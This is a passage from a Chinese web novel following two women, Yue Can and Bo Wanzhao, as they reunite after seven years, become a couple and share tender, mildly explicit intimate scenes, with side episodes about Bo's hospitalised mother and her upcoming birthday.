越灿闭上眼,脑子里想了一堆,说到底她最难受的,是难过薄晚照这些年过得不好,薄晚照最脆弱需要陪伴的时候,她不在薄晚照身边…… 两人安静紧搂在一起,像在互相安抚伤痕。 “离开南夏之后,你一直在看心理医生?”越灿忍不住问着自己不了解的情况。 “在南夏时也有看,我那时候很怕变成我妈那样。”薄晚照想到当年的自己,真是悲观焦虑到了极点,她很长一段时间刻意抵触吃药,就为了证明自己不会变成薄芹那样。 越灿又想说怎么都不告诉自己,但再这样问也无果,当年的薄晚照压根没准备告诉她真实情况。 “我想知道你离开南夏以后的事。”越灿又说着,她想知道薄晚照躲起来的那七年,她本应该陪在薄晚照身边的那七年。 薄晚照:“嗯。” 夜还漫长,来得及倾诉许多,薄晚照说了自己离开南夏之后的生活和工作。 越灿静静听着,心里难受得厉害,听似平淡简单,但她知道薄晚照不会过得轻松,她见过薄晚照精神崩溃的模样,会发抖会呕吐,会想被人紧紧抱着,但这些年*薄晚照都是一个人。 “你没想过找个人陪你么?追你的人那么多。” 薄晚照:“都不喜欢。” 越灿酸涩的情绪又泛起一丝甜,所以这么久,薄晚照只喜欢自己。 “你呢?”薄晚照反问着越灿,“怎么一直不交女朋友?” 越灿不说话了,须臾,她在薄晚照脖颈上咬了口,小声嗔道:“你明知故问。” 薄晚照悄悄在越灿发间亲了亲,她没敢想越灿会对她这么执念,何其幸运,才能被越灿这样喜欢着。 越灿今天拍摄了整天累得很,被薄晚照抱着,舒服放松,不说话之后,她不久就昏昏睡了过去。 薄晚照发现越灿睡着,准备伸手关灯,瞥见越灿睡颜时,又凑在她唇角小心翼翼吻了吻。 心在拥抱间渐渐安定踏实,薄晚照一整晚睡得安稳。 翌日醒来,越灿朦胧看着薄晚照脸庞,缓了会儿才分辨出真实和梦境,毕竟这种情形,这么多年都是出现在她梦里。 薄晚照不久睁开了眼,她也缓了缓神,“早。” 越灿神情慵懒,尚未恢复清醒状态。 薄晚照爱看越灿刚睡醒迷糊黏人的样子,直直盯了许久,安静笑了笑。 越灿一时心跳快得明显,像曾经很多个清晨一样,明明是很平淡普通的瞬间,但她就是会对薄晚照心跳加速。 一大早就空气暧昧。 “你再睡会儿,我去做早餐,等下一起去公司。”说罢,薄晚照侧身下床。 越灿哼了声“嗯”,她翻身趴在床上,偏头看着薄晚照背影,又发了一阵呆。 最近几天越灿都要去nova拍摄,正好跟薄晚照一起,她虽然有车,但不太喜欢开,平时都是能蹭就蹭。 中午休息时越灿接到大忙人发来的行程报备,又在外面应酬。 【bwz】下班等一下我。 越灿装着糊涂,打字问:有什么事? 过了一会儿。 【bwz】以后下班都来接你。 越灿垂眼笑了笑,某人确实在很努力地追人了,每天都接下班,雷打不动。 化妆师看越灿笑得暧昧,“笑这么甜,跟对象聊天呢?” 越灿想说“不是”,但想想,她跟薄晚照又是接吻亲热又是抱着睡觉……她们的相处跟情侣也没多大区别了。 有些人注定做不了普通朋友,越灿觉得这句话很适用她跟薄晚照之间,她们注定会暧昧纠缠。 晚上两人一起吃了日料,走出商场时,时间还早。薄晚照问她:“去摘星湖看烟火吗?” 越灿立即想起,七年前的情人节她们一起去过。 薄晚照开车换了导航路线,一路往摘星湖驶去,南夏的夜色其实很美,她现在才慢下节奏欣赏。 因为不是什么特别节日,摘星湖今晚的人比起平时不算多,薄晚照买了两张游船票,那年越灿想坐船但没坐上。 临近表演开始时,人逐渐多了些,薄晚照牵住越灿的手,拉着她一起登上游船。 湖面上温度低,湖风刮着,卷起些寒意。 “冷不冷?”薄晚照转头问她。 “还好。”越灿说。 过了几秒。 “我有点冷。”薄晚照说着,轻轻握住越灿的手,“暖手宝帮我暖一下。” 越灿稍怔。还记得呢,越灿牌暖手宝。 她无奈拉着薄晚照的手放进自己口袋,当初就是借着暖手的幌子,她牵了薄晚照一路,也懵懵懂懂心动了一路。 薄晚照朝她笑了笑,悄然将手牵得更紧。 越灿出神,当初她对薄晚照做的事,薄晚照又在对她做,仿佛重走了一遍心动。 伴着巨响,绚烂耀眼的烟花又开始绽放。水上烟火来得更浪漫,宛如身临梦幻。 越灿还是被惊得心砰砰跳,天空最美的瞬间,她转头看看身侧的人,恰好薄晚照也默契看她,这一眼无声对视,她不再似年少时懵懂,而是清清楚楚明白,猛烈的心跳是源自心动。 十九岁的她会为薄晚照心动,二十六岁的她依然如此。 …… 周末,薄晚照要去医院探视薄芹,跟越灿说了这件事,越灿说自己有空,可以陪她一起。 薄芹这次病情稳定得很快,比预想中的情况要理想。 越灿再次见到薄芹,才看清薄芹的脸,没有歇斯底里的时候,薄芹就是个温温柔柔的阿姨,薄晚照的眉眼像薄芹,但眼神比薄芹坚韧。 “阿姨好。”越灿主动和薄芹打着招呼。 薄芹虽然温和,但很冷淡,平时只和妹妹薄云才亲近些。 “妈,”薄晚照给薄芹介绍,“这是谭阿姨的女儿。” 听到越灿是谭茗的女儿,薄芹眼底明显有了波动,不善言辞的她笨拙又无措地表现出热情,她朝越灿拘谨笑了笑,“你坐,难为你也来看我,你妈妈最近好吧?” 越灿点着头,“嗯,她很好,阿姨您好好养病。” “哎。”薄芹又笨拙应了一声,她对外再冷漠,听到谭茗还是有感激之情的,当初要不是谭茗,或许她们母女俩都活不下去,她当时都想过带着女儿一起死了算了。她又多看了越灿几眼,“姑娘,你长得像你妈,漂亮。” 越灿笑。 薄晚照也笑了笑,看看越灿,“她平时都不夸人的。” 薄芹生怕怠慢冷落了越灿,很努力地主动聊天,“你今天怎么过来了?还带这么多东西,阿姨不好意思。” 越灿忙说:“阿姨,你别跟我客气,我跟薄晚照是…朋友。” 薄芹淡笑,以前她没见薄晚照身边有什么朋友,听越灿这么说,她眼底有一丝的欣慰。 礼貌寒暄了几句,薄芹又回到安静淡漠的状态。 越灿发现薄芹几乎不怎么和薄晚照说话,两人之间看不到母女该有的亲近。 快傍晚她们走出医院,南夏这些天降温了,好在今天天气好,初冬的阳光添了几分温热。 薄晚照喜欢阳光晒在身上的感觉,干燥温暖,她边走边跟越灿说着薄芹的情况,“她稳定得不错,比以前好很多。” 越灿问:“阿姨平时也是这样吗?” 薄晚照没明白越灿话里的意思,“什么?” 越灿看向她,“不怎么跟你说话。” “嗯,她一直不太想见我,因为我会让她想起以前的事,我们几乎不见面。”薄晚照说得平淡。 越灿垂了垂头,几乎不见面,连亲生母亲都这样,薄晚照身边还有什么温情可言。 薄晚照注意到越灿的沉默,拉了拉她的手,“走吧,去吃好吃的。” 越灿抬眸看她,莫名想笑,以前总是她这么对薄晚照说。她望着薄晚照,夕阳正好落在薄晚照身上,很美很暖,以前薄晚照的温柔里带着阴郁,现在似乎只剩温柔了。 薄晚照顺势牵上她的手,没再松开。 越灿沐着阳光,唇边不禁含了含笑,默许着暧昧自然而然蔓延。 晚餐过后,两人又一起去逛了超市,越灿忍不住给小脏脏包买了一堆的罐头零食,还有玩具。 晚上回去后最开心的莫过于小脏脏包,满屋子活蹦乱跳。 越灿是真的爱猫,抱着爱不释手,直到薄晚照开了猫罐头,小家伙嘴馋,从越灿怀里窜走了,飞奔去吃罐头。 薄晚照在厨房洗着水果。 越灿也走到厨房。 薄晚照看她过来,顺手送一颗草莓到她嘴边。 越灿犹豫了下。 薄晚照很了解她,“我尝过了,不酸,很甜。” 越灿这才用嘴接过,的确很甜,快甜到心坎的那种甜。 “今晚要忙吗?”薄晚照问,她知道越灿除了当模特,平时还要拍摄视频。 越灿摇了摇头。 “那多陪一下小脏脏包吧。” 越灿挑了挑眉,“陪小脏脏包?” 薄晚照一笑。 越灿没再说话。 薄晚照看穿了越灿的心不在焉,她靠近问:“还是不开心?”她又担心她跟越灿回不到从前的那种状态,怕越灿跟她在一块儿,不会再有以前那种开心。 越灿是有心事,薄晚照像这样一切都好的时候愿意让她靠近,万一又碰到什么情况,会不会还像当初那样?就是因为心里有这个疙瘩,两人现在明明关系暧昧,她却迟迟犹豫。 薄晚照又问:“在想什么?” 越灿缓缓开了口:“你答应我一件事。” “嗯。”薄晚照先答应了,才问,“什么事?” “不管怎么样,你都不能像之前那样推开我。”越灿较劲同薄晚照说着。 “答应你。”薄晚照也认真,“我记住了。” 越灿反问:“记住什么了?” “我不是一个人,我还有越灿。” 越灿满意了这个答案,凑上前将她抱住,亲密无间。 薄晚照及时搂住她的腰,深深回应拥抱,久久不舍松开。 越灿看看她,扬着嘴角得意说:“你这么喜欢抱我?” 薄晚照眼底含笑,“嗯。” 越灿心痒,再遇之后薄晚照总是这样看她,无声撩拨,她承认自己对薄晚照的心动丝毫不减,这段时间不再压抑后,更是肆无忌惮汹涌。 忍无可忍了…… 对视几眼,她凑唇想去吻她。 唇要轻轻碰上时,薄晚照却稍稍往后躲了一躲。 越灿顿住。 薄晚照还是维持几乎贴唇的距离,要亲不亲,悄声问:“不是想要追久一点?” 越灿语塞,蹙眉笑了笑。 见她笑,薄晚照又试探问:“那要我这个女朋友吗?” 心跳最是诚实,越灿带着心动点头,在她唇上认真亲了亲,“这是吻女朋友。” 第69章 一整晚不依不饶。 薄晚照将越灿暖暖抱紧在怀里,笑着舒了口气,拥抱有了名义。 越灿卸下心里所有的负担,单纯眷恋喜欢的怀抱,既然躲不过,那就坦诚面对。她还记得薄晚照说过,回国是想见自己,“你从回来开始就想追我?” “嗯。”薄晚照望着她,坦诚承认,“从见第一面起。” 蓄谋已久,越灿想到薄晚照回国之后的种种行为,不禁笑了下,“你现在好死皮赖脸啊。” 薄晚照:“不然你怎么肯理我?” 越灿又说:“万一,万一我身边已经有人了呢?” 回来之前,薄晚照自然已经想过这个问题,她看着越灿的眼睛,从容说:“那我就看你开开心心的。” 自始至终,她都没想过忘记越灿,如果越灿已经有了自己的生活,不再需要她,那她就远远看着,不打扰。 越灿眼睛涩了涩,没有万一,她根本喜欢不了别人。她瞧瞧薄晚照,“然后发现我单身,你就开始勾引了?” 薄晚照低声:“是。” 越灿没想到她承认得这么直球干脆,弄得无言以对。 薄晚照又说:“不主动怎么叫追人?” 越灿:“薄晚照……” 薄晚照:“嗯?” 越灿像以前一样对她提出要求:“那一直保持,可以吗?” 薄晚照眼神和声音都更温柔,笑着,“当然。” 越灿心满意足抱紧她。 手机铃声响起,两人才松开拥抱,薄晚照接到个工作电话,跟对方简单说了几句,她说还有事要忙,挂断。 越灿坐在沙发上吃水果,偶尔逗逗猫,她瞥见薄晚照很快结束通话,朝自己过来,“有什么事要忙?” 薄晚照也在沙发上坐下,她偏头看着越灿,“陪女朋友。” 越灿眼底浮起笑意,明确关系后,气氛更黏乎了。 薄晚照抬起手指,忍不住伸手轻捏了下她的脸。 亲昵的小动作,有点儿甜,越灿笑容更深,煞有其事说:“薄晚照,才在一起你就欺负我?” 薄晚照笑,回南夏这么久,她终于再看到越灿又这样朝她笑,不再是心事重重的模样,她目不转睛盯了会儿,然后贴唇吻了吻越灿。 唇碰上,越灿颤颤眼睫,她喜欢薄晚照这样温柔又珍惜地亲她,能强烈感觉到自己被喜欢着。她动容,情不自禁啄着薄晚照唇瓣回应。 有了身份,更不用克制了,薄晚照托过越灿脸颊,呼吸热着,吻深了一寸。 每次被薄晚照亲,越灿会有种飘飘然的不真实感,大概是薄晚照以前太能隐忍伪装,她不知道薄晚照对她到底有多少喜欢。 七年后的薄晚照在用行动告诉她答案。 越灿抵不住薄晚照一丝一毫的热情,她情不自禁凑身抱过薄晚照的腰,唇还贪婪跟她亲在一起,不松开。 太多错过,太多想念,不是轻轻一下就能疏解。不深不浅吻了一阵,越灿半睁开眼,再偏头亲过去时,舌尖去抵着唇齿。 薄晚照默契张了张唇,由越灿深吻过来,有求必应。双唇紧凑,柔软游走,互相纠缠。 越灿哼着鼻息,不甘示弱,她抚着薄晚照的腰,不断加深亲吻。 薄晚照腰身软了软,往后微仰,陷在沙发里。 越灿抱着她一齐躺下,低头细看着薄晚照脸庞,唇被吻得红润。薄晚照撩开越灿垂下的长发,夹在耳后,露出侧脸,她凝视得认真。 两人相视笑了笑,名正言顺的亲吻好甜,她们终于不再是不清不楚。 薄晚照不动声色又靠近。 越灿看在眼里,心动得要命,她以前觉得薄晚照面热心冷,谁也不会爱,她错了,薄晚照会爱她,全写在眼底。 在越灿准备埋头吻过来时,薄晚照轻轻勾过她脖颈,垂眼主动送上红唇。 越灿呼吸发颤,她欺着薄晚照的唇,反复吮/吸,越缠越深。想念和喜欢压抑得太久太狠,一触即溃。 她想薄晚照,真的很想很想,她告诉自己不惦记了,但又能清楚感知到,心底的那个位置始终被薄晚照占据着,无能为力改变什么。 好在薄晚照回来了。 “越灿。”薄晚照轻叹气,扶着越灿后颈不停回吻,也逐渐失控,以前没办法给的,现在细细,一一回应。 无暇说话,越灿亲得很重很急,用最直白的方式,倾诉着满腔的委屈和思念。 薄晚照抵不住越灿的赤忱热情,心跳紊乱,像当年一样。 轻微窒息时,越灿才松开薄晚照换气,两人面颊都透红,唇上一片水润,抱在一起局促喘着气。 越灿低了低头,撩拨蹭着薄晚照鼻尖,眼底沾染更浓的占有欲,她忍不住继续黏黏糊糊去亲。 薄晚照也断断续续吻她。 对视间,眼神微妙变味,薄晚照抵着越灿额头,纤长的手指轻轻挑着自己的衬衫纽扣。 越灿心跳更放肆,她亲着薄晚照嘴角,握了握薄晚照的手,然后代替,轻扯——她看够了薄晚照的冷静自持,她想看薄晚照不冷静的模样。 就似薄晚照想象中一样,越灿一腔热情,暖得像太阳。片刻,她无奈捏了捏越灿后颈,吻着她耳朵说:“洗澡。” 越灿急着哼了声“嗯”。 薄晚照拽了越灿一起,她犹记得上回的情形,某人撩完碰完就睡去了,剩下她一个人。 浴室狭小,狭窄的空间比客厅更潮湿灼热,温暖的灯光下,越灿清晰看到薄晚照手臂上的疤痕,她心疼抚摸。 薄晚照小声问她:“丑吗?” “才不丑,”越灿说,“薄晚照最好看了。” 薄晚照唇边扬了扬。 越灿爱看她对自己笑,又去吻她,这一晚都不依不饶,薄晚照很受用,攀住越灿肩膀,回吻很深。 双向动情的亲吻甘甜,分外缠绵,两人相拥着,不算熟稔地小心试探,好在有的是喜欢和耐心。 空气中慢慢开始夹杂暧昧的协奏,这暧昧温柔而急躁地上演。 水汽朦胧的镜面中后背白皙,细腰柔软,薄晚照半仰头,反手撑着洗手台站稳。由着温热唇瓣描绘各处皮肤,她身子在颤,因为对触碰的渴望从未这样被满足,越灿又足够暖。 越灿亲吻游弋锁骨下方,察觉到后,变得小心翼翼,以为自己太急了,没轻没重。 薄晚照微张唇,低声告诉她:“再抱紧点。” 越灿看薄晚照眼底已经柔得像水,她自己也快溺在这一潭水中了。她发现了,薄晚照虽然表面独立疏离不许任何人靠近,但真的很需要拥抱,还有足够亲密的爱/抚。 因为面对的是越灿,薄晚照不必隐藏真实的自己,她双眼朦胧,揽住越灿的腰,往自己身上贴紧,温暖的皮肤给她安全感,“我喜欢你抱我。” “嗯。”越灿深拥她,也有着安全感,薄晚照不许任何人靠近,但除了自己。 这一刻靠彼此很近很近,心跳都撞在一起。 冲了澡回到卧室,越灿再欺上薄晚照,攒了多年,满是热情,爱意表达得浓烈。 薄晚照揉着越灿头发,笑着依她放肆,越浓烈越踏实。 越灿知道薄晚照喜欢拥抱触碰后,更细致耐心,脖颈腰腹,甚至脚踝……不落一处,都贴唇而过。 她们之间的纠缠像梦里一样热切,不一样的是,薄晚照欢喜时不是叫她越灿,而是更沉醉亲密地喊她“灿灿”,听得她心口烧烫。 不知不觉夜深,沉寂,以至萦绕床笫的浅吟越来越明显。 手臂泛酸,越灿还执着热忱,她搂着薄晚照细声喊她:“薄晚照。” 薄晚照陷在温暖中,呼吸也急:“什么?” 越灿更冒失,但又问得委屈卑微:“这些年,你有想我吗?” 想不想念,今晚面对越灿轻而易举的沉沦就暴露了一切,薄晚照呼着凌乱的气息,贴在她耳边说着:“想,想早点好起来,好起来回来见你……” 第70章 喜欢魔鬼吗? 越灿能感觉到薄晚照是惦记自己的,只是想听薄晚照亲口说出来,她们曾经有太多话没有互相说出口。 听到薄晚照的回答,越灿又心疼,她理解薄晚照为什么不愿顶着狼狈来见自己,薄晚照那么要强,从不愿把伤痕和痛苦给任何人看…… 说完话,薄晚照垂眼搂紧越灿,只剩深深浅浅的呼吸声。 越灿也动情,她伏在薄晚照身上,边弄边急促说着:“薄晚照,我现在是你女朋友了。” “嗯。”薄晚照轻哼了哼,这一声显得分外绵软撩人。 “那我们什么都要一起面对。”越灿说着,过往的事已然发生,再纠结也没有用,能珍惜的只有当下。 “嗯。”薄晚照都应她。 越灿埋头亲了亲,再直直盯着薄晚照脸庞看,爱看薄晚照沉浸失控的模样,她没想到薄晚照会这么敏感,明明平时清清冷冷。 酥意又蹿遍全身,薄晚照安静抱着越灿,抚着她光洁的后背,小声问她:“折腾够了吗?” 越灿双颊烫了烫,看看时间快两个小时了,她拿过湿巾擦擦,然后翻了个身,规规矩矩抱着薄晚照。 薄晚照缓了片刻,理了理越灿耳畔的碎发,“难不难受?” 越灿半睁眼,“嗯?” 薄晚照按着她的腰,凑过去吻她唇,细致温柔。 今晚吻了太久,越灿感觉唇都要肿了,但薄晚照又亲过来时,她还是闭眼回吻得热烈。 薄晚照趁势深吻了下去。 “嗯。”越灿禁不住哼起来,不知道是不是学霸的学习能力都强,她觉得薄晚照好会接吻,每次都亲得她酥酥麻麻。 薄晚照这时稍稍翻身,越灿柔若无骨似的,往一侧软了去。 深吻还蔓延,越灿明白薄晚照是在问哪个难受了,本来还好的,现在被薄晚照一勾,要难受死了,偏偏若即若离的。 越灿深呼吸着:“薄晚照。” 薄晚照柔声问:“怎么了?” 越灿皱眉看她,最后厚着脸皮,低声撒了个娇:“快点儿。” 薄晚照垂眸笑了笑。 越灿意识到某人是故意的,可偏偏又温柔得要死,笑得她心化了一半,她急急凑过去咬薄晚照嘴唇。 薄晚照却轻柔吮吻她,扶在腰际的掌心游移而下。 越灿稍顿,很快情不自禁同她亲在一起,心化了百分之百,须臾,她望着薄晚照的眼神也越来越柔软。 薄晚照耐心安抚着,不像越灿那般冒冒失失,而是有条不紊。 越灿也发现了,薄晚照会细细留意她的反应,然后亲到的碰到的,都是她最招架不住的,还会贴着她耳朵悄声问可以吗,一丝不苟。 学霸都这么变态吗?越灿咬唇攀紧她肩膀,答不了话,最后还是不争气地一遍遍哼着,越来越重。 薄晚照亲她微汗的额角,呼吸也跟着越灿慢慢变急,她埋头私语:“出声也没事,不用忍。” 越灿眼睛半睁半闭,变模糊朦胧,感觉自己不受自己控制了,她也不是多矜持的性格,不多久便低吟出来。她在薄晚照唇上咬着,有气无力地嘟哝:“你魔鬼啊。” 又这么叫自己,薄晚照笑意蔓延到了眼睛里,她认真望着越灿,问了问:“喜欢魔鬼吗?” 这时候问喜不喜欢真的很犯规,越灿更意乱,黏糊糊在她身上到处咬,肩头脖颈,虽然的确喜欢得不行。 亲吻指尖交替撩拨,薄晚照极尽耐心,泛滥多遍的思念,终于有机会化作具象点滴,失控。她对越灿的自控力很差,她一直清楚,否则当年不会在明知不可能的情况下,还是忍不住跟越灿接吻了。 从来感情淡漠的人,开始心动喜欢,就跟干涸世界下了场暴雨一样。她清楚自己是怎样对越灿产生感情的,只是不得不用“姐姐”的幌子来掩饰情愫。 好在现在也用不着像以前一样自控。 她们早早就回房了,但是辗转到了凌晨还没睡。越灿绵软喊了很多声“薄晚照”。除了轻哼,没再说其他话,只是陷入迷糊时会本能喊喜欢的人的名字。 薄晚照每一声都应她,温柔入骨。她小心翼翼,越灿平时要拍摄,吻痕能集中留在最私密的位置。 越灿受不住这样,撩起新一轮滚烫,都记不清第几回了,面对薄晚照她太轻而易举了,轻而易举得她一个厚脸皮都害臊。 长腿顺着肩头滑了下来,越灿这次是真累了,躺在被褥就跟陷入棉花中一样,精疲力尽。 薄晚照也出了一层汗,她搂过越灿抱上,又轻吻了几下安抚。 越灿喜欢纵情时薄晚照时不时亲她额头和嘴角,特别安心,整个人都被暖意和甜蜜牢牢包裹。 薄晚照也喜欢越灿这么依赖抱着自己,身体不留缝隙黏在一起,体温也不分彼此地融在一起,分不开。 离开的这些年,她偷偷留意着越灿的一切,知道开心和不开心时越灿身边都有人陪,她那时觉得即使没有自己,越灿的生活也不会改变什么,有很多人可以代替她对越灿好。 薄晚照悄然将怀里的人箍得更紧,她也害怕越灿不那么需要自己。 越灿喃喃:“薄晚照。” 薄晚照问:“什么?” 越灿说:“好困,想睡觉。” “去洗澡。”薄晚照抱着她,想搂她起身。 越灿晕乎乎哼:“我没力气了我。” 薄晚照无奈笑了笑,“我帮你。” 越灿闭着眼,“那你不能……” “不能什么?” 越灿在她腰上掐了掐,“趁洗澡欺负我。” 薄晚照笑得更无奈,看她可爱,轻轻捏下她的脸。 幸亏第二天是周日,休息,可以好好歇着缓一会儿。 浑身泛酸,越灿抱着薄晚照,一觉睡到大中午。直到电话铃响,她才疲倦睁了睁眼。 薄晚照也是被铃声吵醒的,她帮越灿拿了拿手机,看到来电显示,跟越灿说:“钟然打来的。” 越灿将头埋在枕头里,被吵醒有点儿小脾气,不想接,于是跟薄晚照说:“你帮我接。” 薄晚照接了。 “灿灿。” “她还在睡,我是薄晚照。” 电话那头的安静了挺长一段时间,可以推测接电话的人大脑在飞速运转。 “有什么事吗?” “晚照姐……”钟然反应一向很慢,突然间忘了自己要说什么了,最后半天憋出一句,“怎么是你接的电话?” 薄晚照说:“我跟她在一块儿。” 一起睡到中午,帮接电话,钟然反应再慢,这会儿也反应过来里面的暧昧,“你们……你们在一起啦?” 薄晚照看看越灿,直到越灿和钟然关系要好很多年了,不需要刻意瞒着,没有否认,“嗯。” “啊,恭喜恭喜……那个,也什么事,我晚点再跟她说吧。” 结束电话,薄晚照放回手机,一旁越灿翻了个身又黏着她抱上,继续睡着。 薄晚照摸摸她头发和脸颊,“钟然知道我们在一起了。” 越灿慵懒应了声“嗯”。 薄晚照也懒懒笑,在她脸颊上多摸了会儿。 直到下午一点多越灿才起来,薄晚照煎了牛排当午餐,昨晚累呛了,越灿吃得格外香。 下午两人哪也没去,就在房间里窝着,吃水果看电影,越灿往薄晚照身上抱,时不时凑去闻她身上的香气,黏得像胶水。 等越灿凑过来时,薄晚照会故意不动声色转过头,看着她。 越灿经不住诱惑,看两眼后,就忍不住缠她接吻,有时候吻十几秒,吃了两口水果,不满足,又再多吻几分钟。 薄晚照太喜欢越灿身上这股黏糊劲了。越灿不藏着掖着,喜欢得直白热烈,眼神和行动都是,被这样的女孩喜欢很幸福。 接吻时薄晚照会有意无意挑逗,勾得某人主动送着唇舌缠更久,得逞后她会笑一笑。 薄晚照这么一笑越灿心就软,心一软就想没完没了地亲她,一下午她们数不清接吻了多少次,像是想把这些年欠下的都补偿回来。 吻久了,唇上湿漉漉的,就不只是接吻了。怎样都可以,她们有资格。 才下午,房间里明亮,但沙发上的气氛已然和昨晚一样灼热。 忍了太久,虽然才在一起,越灿矜持不了半分,她发觉薄晚照也是如此,每次接吻又深又欲,毫无平时那种冷静自持,她打赌没人能想到薄晚照会有这样一面。 越灿被薄晚照按着后脑深吻了许久,换气时她盯着薄晚照的唇,不禁吐槽着,“你以前不是很矜持吗?抱都不抱我一下……” 薄晚照停顿一秒,低声告诉她:“以前在忍。” 越灿语塞,总能被薄晚照过于言简意赅的精准回答弄无语。 薄晚照从来都不是矜持含蓄的,从小到大,她都是想什么就用尽办法去争取什么,她以前不给越灿主动回应,只是因为觉得自己不可以。 到傍晚时,越灿又接到钟然打来的电话,她抬起头,还是抽空接了。 她一接听。 钟然就冷不丁传来一句:“灿,回头草好吃吗?” 越灿脸更烧烫,钟然这句话歪打正着,她看一眼薄晚照,薄晚照皱眉笑,拿湿纸巾帮她擦了擦嘴。 “你和晚照姐什么时候有空,我请客吃饭?”钟然又说着。 越灿硬着头皮:“你又请什么客?不应该我请?” “我跟洛扬打赌输了,洛扬说你今年会跟晚照姐在一起……” “你们是不是无聊,”越灿有点儿无语,“你赌我不会么?” “我赌你至少能坚持到明年。”钟然开玩笑埋怨着,“你也太不争气了吧?!” 越灿:“……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 是我很幸运。 “开玩笑啦,恭喜你啊,等了这么久,终于圆满了。” 越灿抿嘴笑得甜,“嗯。” 又被钟然调侃了几句,越灿挂断电话。 她们抱在一起,薄晚照也听到了些聊天内容,她捏捏越灿脸颊,片刻,也故意逗她一声:“好吃吗?” 越灿被噎了一下,“薄晚照!” 薄晚照安静直笑。 越灿此刻摆出破罐破摔的心态,就是不争气,就是爱吃回头草怎么了?她看着薄晚照的笑,故意用沾染黏腻的唇去亲她,亲过之后,她红着脸问薄晚照,“你现在也尝了,好吃吗?” 薄晚照抵着她额头,再帮她擦擦唇边,低声反问:“害不害臊?” 越灿笑,垂眸继续和她温柔缠绵地接吻,就想这样不害臊相处,她们以前故作矜持太久了。 在沙发上又亲了一阵,两人慢慢从激情中平静下来,只剩温暖舒服的拥抱。 薄晚照拉过毛毯盖住越灿肩头。 越灿在沙发上抱紧她,腻歪亲热的拥抱,心口贴着心口,柔软蹭着柔软,她掌心断断续续游弋过薄晚照光滑的后背,紧致平坦的腰腹。 薄晚照由她抚摸,肌肤相亲的触碰带来说不出的满足感,依恋喜欢。她也揉了揉越灿后背,“我是不是长肉了?” “嗯,比以前好,以前太瘦了。”越灿想到以前薄晚照营养不良,过于清瘦身材,还是心疼。 薄晚照又说:“有记得你的话,好好吃饭,养好身体。” 越灿听到后默了默,心里有点泛酸,闷声将薄晚照抱得更紧。 第二天还有工作,到了晚上两人没再折腾,依偎在一起,安安稳稳一觉睡到了天亮。 周末过得太甜蜜满足,清晨越灿搂着薄晚照赖床,不想起,结果拖累得薄晚照破天荒也起晚。 薄晚照先去卫生间洗漱着,不一会儿,看到罪魁祸首懒洋洋走了过来。 越灿从背后搂她腰,下巴搁在她肩上,她们身高没差多少,拥抱很舒服。她爱薄晚照身上的体香,埋着头去蹭她脖颈和头发,再偷偷在她后颈亲两口。 大清早就不规矩得很,但又甜蜜温情,薄晚照看着镜子无奈笑了笑,心窝暖暖的,跟她说:“别闹,要迟到了。” “不想上班。”越灿圈紧她的腰,鼻尖从后颈蹭到了耳廓,“就想跟你待一块儿。” 薄晚照忍着酥痒,抬手往后揉了揉她脑袋,提醒着,“真要迟到了,你上午还要拍摄。” 越灿这才抬起脑袋,薄晚照正回过头看她,两人轻轻对视一眼。 薄晚照轻声说:“再过来点。” 越灿很听话地再靠近一分。 薄晚照这时在她唇角亲了一下。 越灿眼神变柔软,眸子里盈满笑意,像星星在闪烁,心跳跟放烟花似的,谈恋爱也太甜了。 上午越灿要去nova补拍,正好和薄晚照一起,简单洗漱了下,两人来不及吃早餐,先开车去公司。 越灿脸上的甜笑一路带到了拍摄片场,她这人就这样,心情好的时候开心全挂在脸上。 化妆师看她春风满面的,闲聊问着:“啥好事啊,这么开心?” 越灿笑着回答:“脱单了。” “难怪。”化妆师忙乐呵呵地说了声“恭喜”。 直到开始拍摄*,越灿才开始进行表情管理,不笑时她像换了个人,冷峻张扬,气场十足。 临近中午的时候,越灿又看到薄晚照来了趟片场,她正在休息,装模作样打了个招呼,“薄总好。” 薄晚照淡笑,“越老师辛苦了。” 越灿扬唇笑,她挺爱薄晚照叫她越老师,显成熟。 打完招呼后,越灿佯装玩手机,悄悄给薄晚照发了条微信,薄晚照手机没有响,应该是工作时间静音着。 越灿给了薄晚照一个眼神提醒。 薄晚照很快会意,抽空看看手机,她低头忍了忍笑,才不至于突然失态。 【越灿】薄总中午有空吗?要不要大美女陪你吃饭? 薄晚照飞快回了消息。 越灿及时看了看。 【bwz】中午有工作脱不开身,晚上一起。 越灿回了个表情包,她也没抱太大希望,知道薄晚照工作忙,午餐时间基本上都是要用来应酬。 不久薄晚照就离开了。 午饭越灿就在片场解决,跟nova的工作人员一起吃,几个年轻女孩,热衷八卦聊天。 东扯西扯就聊到了刚刚来过片场的薄晚照,听到熟悉的名字,越灿自然而然听得投入,听到都是夸奖的话,她悄然得意。 “薄总人好温柔,真的好好。” “是啊,工作能力又强,还好漂亮。” “听说还特别励志,超强的。” “我们薄总就是妥妥的禁欲系大美女,真的太有气质了。” 突然听到“禁欲系”三个字,越灿差点被咖啡呛到……虽然今天薄晚照把衬衫扣子扣到最上面一颗的模样,看着是禁欲,但她反而觉得更欲了,因为她知道衬衫下面是满身吻痕。 “越老师,我们薄总好看吧?” 越灿笑着点头,不吝惜夸赞:“嗯,薄总超级漂亮。” 自己女朋友能不狠狠夸嘛。 …… 再过一天就是薄晚照生日,这周三,越灿虽然没陪薄晚照过过生日,但却清楚记得是哪天。 薄晚照没什么过生日的概念,当年冯春生还没破产时,就不待见她,她曾听到冯春生不止一次辱骂薄芹,骂薄芹不争气,没本事生个带把的。七岁生日那天,薄芹偷偷给她买了个小蛋糕,结果被冯春生发现,骂她败家,揪着头发打了一顿。她懂事告诉薄芹,没关系,自己不用过生日,也不需要蛋糕零食。 后来冯春生死了,薄芹生病了,疲于生计,也没精力想着过生日的事,她甚至经常忘记。 上班以后她也算过了几次生日,跟同事,不过更多是人情往来的交际。 当年越灿说要陪她过生日,她心底很期待,越灿总是很会哄人开心,但约定没能实现。 离开南夏后的第一个生日,她觉得那天格外难熬,本来应该有越灿在她身边的……那晚下班后,她一个人回去喝得酩酊大醉,就从那时起,她开始依赖酒精麻痹自己。 所幸七年前的约定,七年后还可以兑现。 越灿提前问了薄晚照生日想怎么过,薄晚照没多少要求,就她们两个人,简简单单就行。 周三这天,薄晚照收到了很多句“生日快乐”,最甜的一句也是第一句,越灿凌晨时亲着她耳朵说的。 临近下班,薄晚照处理着手边最后的工作,这时有人敲门进来,她抬头看见赵茹手里拿了份礼物。 “生日快乐。” 薄晚照没马上收下。 赵茹笑说:“朋友间的,你不用紧张。” “谢谢。”薄晚照收下了,以后也会还礼。 